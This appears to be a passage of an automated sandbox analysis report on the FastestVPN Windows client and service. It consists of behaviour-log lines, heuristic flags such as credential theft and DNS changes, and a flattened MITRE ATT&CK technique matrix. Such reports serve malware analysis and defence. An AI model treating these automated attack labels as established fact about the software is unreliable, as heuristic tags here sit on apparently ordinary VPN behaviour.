    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.Abstractions.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\Microsoft.Bcl.AsyncInterfaces.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\System.Threading.Tasks.Extensions.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.ViewModel.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\VPN.Common.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.Diagnostics.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.BLL.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.Data.Local.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.Data.Remote.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\Hardcodet.NotifyIcon.Wpf.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\WpfAnimatedGif.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\Newtonsoft.Json.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\PresentationFramework-SystemXml\v4.0_4.0.0.0__b77a5c561934e089\PresentationFramework-SystemXml.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationTypes\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationTypes.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationProvider\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationProvider.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\Microsoft.AppCenter.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\Microsoft.AppCenter.Analytics.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\Microsoft.AppCenter.Crashes.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\SQLitePCLRaw.batteries_v2.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\SQLitePCLRaw.core.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\SQLitePCLRaw.provider.dynamic_cdecl.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\netstandard\v4.0_2.0.0.0__cc7b13ffcd2ddd51\netstandard.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\System.Memory.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.InteropServices.RuntimeInformation\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.InteropServices.RuntimeInformation.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ValueTuple\v4.0_4.0.0.0__cc7b13ffcd2ddd51\System.ValueTuple.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\System.Runtime.CompilerServices.Unsafe.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.Common.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\FastestVPN.Common.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Hosting.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Owin.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Host.HttpListener.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\FastestVPN.Common.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\fix-dns-leak-32.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\iphelperclose.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.AspNet.SignalR.Core.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Cors.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Diagnostics.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Diagnostics.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Host.HttpListener.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Hosting.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Security.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Security.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Newtonsoft.Json.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Newtonsoft.Json.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\nfapi.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\System.Web.Cors.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.AdvancedNetwork.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.Common.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.OpenVpn.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.OpenVpn.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.RAS.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\FastestVPN.Common.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\fix-dns-leak-32.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\iphelperclose.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Cors.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Diagnostics.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Microsoft.Owin.Host.HttpListener.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\Newtonsoft.Json.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.OpenVpn.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\VPN.WireGuard.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe VolumeInformation
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\FastestVPN.exe VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Program Files\FastestVPN\SingleInstanceApplication.dll VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Program Files\FastestVPN\FastestVPN.exeCode function: 36_2_019927C8 CreateNamedPipeA,36_2_019927C8
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeCode function: 12_2_00007FF7FEE08BC8 try_get_function,GetSystemTimeAsFileTime,12_2_00007FF7FEE08BC8
    Source: C:\Program Files\FastestVPN\subinacl.exeCode function: 40_2_0102E7AC __EH_prolog,#540,#2755,#858,#2910,#2910,LookupAccountNameW,#861,#942,#940,#4197,#4197,#800,#2910,#2910,LookupAccountNameW,#858,40_2_0102E7AC
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_00401160 GetStartupInfoA,GetProcessHeap,GetProcessHeap,HeapAlloc,_fast_error_exit,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,_fast_error_exit,_fast_error_exit,__RTC_Initialize,__ioinit,__amsg_exit,GetCommandLineA,___crtGetEnvironmentStringsA,__setargv,__amsg_exit,__setenvp,__amsg_exit,__cinit,__amsg_exit,__wincmdln,28_2_00401160
    Source: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\8CF427FD790C3AD166068DE81E57EFBB932272D4 Blob

    Stealing of Sensitive Information

    barindex
    Modifies the DNS server
    Source: C:\Windows\System32\svchost.exeRegistry value created: Jump to behavior
    Source: FastestVPN.WindowsService.exe, 0000002D.00000002.3397155072.0000000004252000.00000002.00000001.01000000.00000024.sdmpBinary or memory string: OWIN_SERVER@Microsoft.Owin.Host.HttpListener
    Source: FastestVPN.WindowsService.exe, 0000002D.00000002.3397155072.0000000004252000.00000002.00000001.01000000.00000024.sdmpBinary or memory string: OWIN_SERVERAMicrosoft.Owin.Host.HttpListenerPORT
    Source: FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OWIN_SERVER
    Source: FastestVPN.WindowsService.exeBinary or memory string: WIN_SERVER
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_10014170 ?nf_deleteBindingRules@nfapi@@YA?AW4_NF_STATUS@@XZ,EnterCriticalSection,LeaveCriticalSection,DeviceIoControl,LeaveCriticalSection,LeaveCriticalSection,28_2_10014170
    Source: C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exeCode function: 28_2_100141E0 ?nf_addBindingRule@nfapi@@YA?AW4_NF_STATUS@@PAU_NF_BINDING_RULE@1@H@Z,EnterCriticalSection,LeaveCriticalSection,DeviceIoControl,LeaveCriticalSection,LeaveCriticalSection,28_2_100141E0

    Mitre Att&ck Matrix

    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
    Gather Victim Identity Information1
    Scripting    		1
    Valid Accounts    		1
    Windows Management Instrumentation    		1
    Scripting    		1
    LSASS Driver    		11
    Disable or Modify Tools    		1
    Network Sniffing    		1
    System Time Discovery    		Remote Services1
    Archive Collected Data    		1
    Encrypted Channel    		Exfiltration Over Other Network MediumAbuse Accessibility Features
    CredentialsDomainsDefault Accounts1
    Native API    		1
    LSASS Driver    		1
    DLL Side-Loading    		11
    Deobfuscate/Decode Files or Information    		LSASS Memory1
    Account Discovery    		Remote Desktop ProtocolData from Removable MediaJunk DataExfiltration Over BluetoothNetwork Denial of Service
    Email AddressesDNS ServerDomain Accounts113
    Command and Scripting Interpreter    		1
    DLL Side-Loading    		1
    Valid Accounts    		3
    Obfuscated Files or Information    		Security Account Manager4
    File and Directory Discovery    		SMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact
    Employee NamesVirtual Private ServerLocal Accounts13
    Service Execution    		1
    Valid Accounts    		11
    Access Token Manipulation    		2
    Software Packing    		NTDS1
    Network Sniffing    		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
    Gather Victim Network InformationServerCloud Accounts2
    PowerShell    		45
    Windows Service    		45
    Windows Service    		1
    Timestomp    		LSA Secrets195
    System Information Discovery    		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
    Domain PropertiesBotnetReplication Through Removable MediaScheduled Task221
    Registry Run Keys / Startup Folder    		13
    Process Injection    		1
    DLL Side-Loading    		Cached Domain Credentials2
    Query Registry    		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
    DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup Items221
    Registry Run Keys / Startup Folder    		1
    File Deletion    		DCSync151
    Security Software Discovery    		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
    Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job33
    Masquerading    		Proc Filesystem2
    Process Discovery    		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
    Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
    Valid Accounts    		/etc/passwd and /etc/shadow61
    Virtualization/Sandbox Evasion    		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
    IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron12
    Modify Registry    		Network Sniffing1
    Application Window Discovery    		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
    Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd61
    Virtualization/Sandbox Evasion    		Input Capture3
    System Owner/User Discovery    		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption
    Gather Victim Org InformationDNS ServerCompromise Software Supply ChainWindows Command ShellScheduled TaskScheduled Task11
    Access Token Manipulation    		KeyloggingProcess DiscoveryTaint Shared ContentScreen CaptureDNSExfiltration Over Physical MediumResource Hijacking
    Determine Physical LocationsVirtual Private ServerCompromise Hardware Supply ChainUnix ShellSystemd TimersSystemd Timers13
    Process Injection    		GUI Input CapturePermission Groups DiscoveryReplication Through Removable MediaEmail CollectionProxyExfiltration over USBNetwork Denial of Service

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet
